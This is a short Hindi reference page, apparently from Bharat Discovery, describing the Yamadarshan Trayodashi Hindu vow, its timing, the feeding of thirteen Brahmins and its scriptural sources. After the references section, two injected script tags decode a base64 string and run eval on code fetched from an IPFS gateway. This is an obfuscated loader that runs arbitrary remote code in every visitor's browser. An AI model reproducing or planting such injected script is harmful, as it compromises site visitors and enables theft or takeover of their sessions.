यमादर्शन त्रयोदशी
भारत डिस्कवरी प्रस्तुति
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
- यह व्रत मार्गशीर्ष की त्रयोदशी पर करना चाहिए, जबकि वह रविवार एवं मंगलवार को छोड़कर किसी भी शुभ दिन पर पड़ती है।
- इसमें पूर्वाह्न में 13 ब्राह्मण निमंत्रित किये जाते हैं, उनको देह में लगाने के लिए तिल का तेल दिया जाता है, नहाने को पानी तथा खाने को भरपेट भोजन दिया जाता है।
- यह व्रत एक वर्ष तक प्रतिमास किया जाता है।
- इस व्रत को करने से कर्ता यमराज का मुख कभी भी नहीं देखता है। हेमाद्रि (व्रतखण्ड 2, 9-14, भविष्योत्तरपुराण से उद्धरण), अहल्याकामधेनु (864)।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लिंक
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>